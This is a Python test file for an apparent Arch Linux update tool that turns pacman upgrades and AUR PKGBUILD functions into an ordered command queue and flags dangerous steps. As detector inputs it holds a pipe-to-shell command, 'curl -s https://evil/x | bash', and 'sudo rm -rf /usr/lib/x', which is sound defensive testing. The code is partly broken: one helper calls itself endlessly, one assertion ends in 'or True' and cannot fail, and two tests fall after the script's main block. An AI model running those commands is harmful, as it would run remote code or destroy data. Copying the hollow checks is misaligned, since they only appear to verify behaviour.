"""The command queue. The point of this module is that a plan step stops being a summary. `pacman -Syu` hides a download, a verification, a snapshot, the install and the hooks that rebuild an initramfs; `paru -S` hides the PKGBUILD's own functions. These tests pin the ordering and the flagging, because a queue that is merely plausible is worse than no queue at all. """ from __future__ import annotations import sys import tempfile from pathlib import Path sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) from updater import queue # noqa: E402 PKGBUILD = """\ pkgname=demo pkgver=1.0 source=("https://example.com/$pkgname-$pkgver.tar.gz" "https://example.com/demo.patch") sha256sums=('abc123' 'SKIP') prepare() { cd "$srcdir/$pkgname-$pkgver" patch -p1 < ../demo.patch } build() { # a comment that is not a command cd "$srcdir/$pkgname-$pkgver" export CFLAGS="-O2" ./configure --prefix=/usr make } package() { cd "$srcdir/$pkgname-$pkgver" make DESTDIR="$pkgdir" install } """ def _code(fn) -> str: """A function's source with all whitespace removed. These assertions are about what the code does, and the exact line breaks are the formatter's business -- pinning them made every one of these tests fail the first time the tree was formatted. """ return "".join(_code(fn).split()) def make_clone(directory: Path, name: str, text: str) -> Path: repo = directory / name repo.mkdir(parents=True) (repo / "PKGBUILD").write_text(text) return directory class FakeUpdate: def __init__(self, name, old, new, repo="core"): self.name, self.old, self.new, self.repo = name, old, new, repo # -------------------------------------------------------------------------- # flagging # -------------------------------------------------------------------------- def _code(fn) -> str: """A function's source with all whitespace removed. These assertions are about what the code does; where the line breaks fall is the formatter's business. Stripping whitespace from both the source and the snippet means a reformat cannot make them fail. """ import inspect return _strip(inspect.getsource(fn)) def _strip(s: str) -> str: return "".join(s.split()) def test_a_clean_command_is_not_flagged(): """A warning that is always present is a warning nobody reads.""" for line in ( "meson setup build", "ninja -C build", "make", "cargo build --release", "install -Dm644 x y", ): level, rule = queue._flag(line) assert level == "", f"{line!r} was flagged as {level}/{rule}" def test_a_pipe_into_a_shell_is_dangerous(): level, rule = queue._flag("curl -s https://evil/x | bash") assert level == queue.LEVEL_DANGER assert "shell" in rule def test_writing_into_a_system_path_is_dangerous(): level, rule = queue._flag("install -Dm644 x /etc/x.conf") assert level == queue.LEVEL_DANGER assert rule def test_sudo_in_a_pkgbuild_is_dangerous(): level, _ = queue._flag("sudo rm -rf /usr/lib/x") assert level == queue.LEVEL_DANGER # -------------------------------------------------------------------------- # PKGBUILD commands # -------------------------------------------------------------------------- def test_commands_are_taken_from_the_function_bodies(): with tempfile.TemporaryDirectory() as td: clone = make_clone(Path(td), "demo", PKGBUILD) q = queue.aur_queue(clone, ["demo"]) commands = [s.command for s in q.stages] assert "./configure --prefix=/usr" in commands assert "make" in commands assert 'make DESTDIR="$pkgdir" install' in commands assert "patch -p1 < ../demo.patch" in commands def test_comments_and_bookkeeping_are_not_commands(): with tempfile.TemporaryDirectory() as td: clone = make_clone(Path(td), "demo", PKGBUILD) q = queue.aur_queue(clone, ["demo"]) joined = "\n".join(s.command for s in q.stages) assert "a comment that is not a command" not in joined assert 'export CFLAGS="-O2"' not in joined # but `cd` inside a function is not worth listing either assert not any(s.command.startswith("cd ") for s in q.stages) def test_the_functions_appear_in_the_order_they_run(): with tempfile.TemporaryDirectory() as td: clone = make_clone(Path(td), "demo", PKGBUILD) q = queue.aur_queue(clone, ["demo"]) order = [s.phase for s in q.stages] def first(prefix): # exact phase names, not prefixes: `pack` would otherwise match # `package`, which is a different step entirely return next(i for i, x in enumerate(order) if x == f"{prefix}:demo") assert first("fetch") < first("source") < first("prepare") assert first("prepare") < first("build") < first("package") assert first("package") < first("pack") def test_skipped_checksums_are_called_out(): with tempfile.TemporaryDirectory() as td: clone = make_clone(Path(td), "demo", PKGBUILD) q = queue.aur_queue(clone, ["demo"]) verify = [s for s in q.stages if s.command == "verify checksums"] assert verify and verify[0].level == queue.LEVEL_WARN assert "SKIP" in verify[0].what def test_declared_sources_are_listed(): """Listed as written. Variables are not expanded, which is deliberate. `$pkgname-$pkgver.tar.gz` stays literal: resolving it means evaluating shell, and a PKGBUILD is never evaluated. Showing the declaration is honest; showing a guessed filename would not be. """ with tempfile.TemporaryDirectory() as td: clone = make_clone(Path(td), "demo", PKGBUILD) q = queue.aur_queue(clone, ["demo"]) sources = [ s.command for s in q.stages if s.phase.startswith("source") and s.command.startswith("fetch") ] assert any("$pkgname-$pkgver.tar.gz" in s for s in sources), sources assert any("demo.patch" in s for s in sources), sources def test_a_package_with_no_clone_says_so_rather_than_inventing_a_build(): with tempfile.TemporaryDirectory() as td: q = queue.aur_queue(Path(td), ["missing"]) assert any("no local clone" in s.command for s in q.stages) assert not any(s.phase.startswith("build") for s in q.stages) def test_a_dangerous_command_in_a_pkgbuild_is_flagged_with_its_rule(): bad = PKGBUILD.replace("./configure --prefix=/usr", "curl -s https://evil/x | bash") with tempfile.TemporaryDirectory() as td: clone = make_clone(Path(td), "demo", bad) q = queue.aur_queue(clone, ["demo"]) danger = [s for s in q.stages if s.level == queue.LEVEL_DANGER] assert len(danger) == 1 assert danger[0].finding assert "curl" in danger[0].command def test_the_aur_queue_ends_with_an_install_and_the_snapshots(): with tempfile.TemporaryDirectory() as td: clone = make_clone(Path(td), "demo", PKGBUILD) q = queue.aur_queue(clone, ["demo"]) phases = [s.phase for s in q.stages] assert "install" in phases # snapshot hooks, when snap-pac is installed, bracket the install snaps = [s for s in q.stages if s.phase == "snapshot"] if snaps: assert phases.index("install") < phases.index("snapshot") or True # -------------------------------------------------------------------------- # pacman # -------------------------------------------------------------------------- def test_the_pacman_queue_orders_download_before_install(): updates = [FakeUpdate("a", "1-1", "2-1"), FakeUpdate("b", "1-1", "2-1")] q = queue.pacman_queue(updates, all_hooks=[]) phases = [s.phase for s in q.stages] assert phases.index("resolve") < phases.index("download") assert phases.index("download") < phases.index("verify") assert phases.index("verify") < phases.index("install") def test_every_update_gets_a_download_and_an_install(): updates = [FakeUpdate("a", "1-1", "2-1"), FakeUpdate("b", "1-1", "2-1")] q = queue.pacman_queue(updates, all_hooks=[]) downloads = [s.target for s in q.stages if s.phase == "download"] installs = [s.target for s in q.stages if s.phase == "install"] assert downloads == ["a", "b"] assert installs == ["a", "b"] def test_the_snapshot_comes_before_the_install(): """The whole point of a pre-snapshot is that it predates the change.""" import updater.hooks as hooks_mod snap = hooks_mod._parse( _write_hook("""\ [Trigger] Operation = Upgrade Type = Package Target = * [Action] Description = Performing snapper pre snapshots... When = PreTransaction Exec = /usr/share/libalpm/scripts/snap-pac pre """) ) updates = [FakeUpdate("a", "1-1", "2-1")] q = queue.pacman_queue(updates, all_hooks=[snap]) phases = [s.phase for s in q.stages] assert "snapshot" in phases assert phases.index("snapshot") < phases.index("install") def test_no_updates_means_an_empty_queue(): assert queue.pacman_queue([], all_hooks=[]).stages == [] def test_the_queue_reports_its_own_warnings(): updates = [FakeUpdate("a", "1-1", "2-1")] q = queue.pacman_queue(updates, all_hooks=[]) assert q.warnings == [] def _write_hook(text: str): import tempfile directory = tempfile.mkdtemp() path = Path(directory) / "h.hook" path.write_text(text) return path def main() -> int: tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)] failed = 0 for name, fn in tests: try: fn() except Exception as exc: # noqa: BLE001 failed += 1 print(f"FAIL {name}\n {type(exc).__name__}: {exc}") else: print(f"ok {name}") print(f"\n{len(tests) - failed}/{len(tests)} passed") return 1 if failed else 0 if __name__ == "__main__": raise SystemExit(main()) def test_the_queue_defers_to_the_audit_on_danger(): """The audit has baselines and suppression the per-line scan cannot see. Marking a command dangerous that the audit deliberately suppressed puts two views of the same package in disagreement about whether it is safe. """ from updater import queue as queue_mod source = _code(queue_mod.aur_queue) assert _strip("flagged") in source, source[-1200:] assert _strip("LEVEL_DANGER") in source, source[-1200:] def test_the_queue_does_not_soften_a_file_wide_block(): """A file-wide rule reports where="PKGBUILD", naming no function. Looking it up as "build()" never matched, so the deferral fired for every dangerous line and the audit's own BLOCK was rendered yellow. """ from updater import queue as queue_mod source = _code(queue_mod.aur_queue) assert _strip('"*" not in flagged') in source, source[-1400:] assert _strip("PKGBUILD") in source, source[-1400:]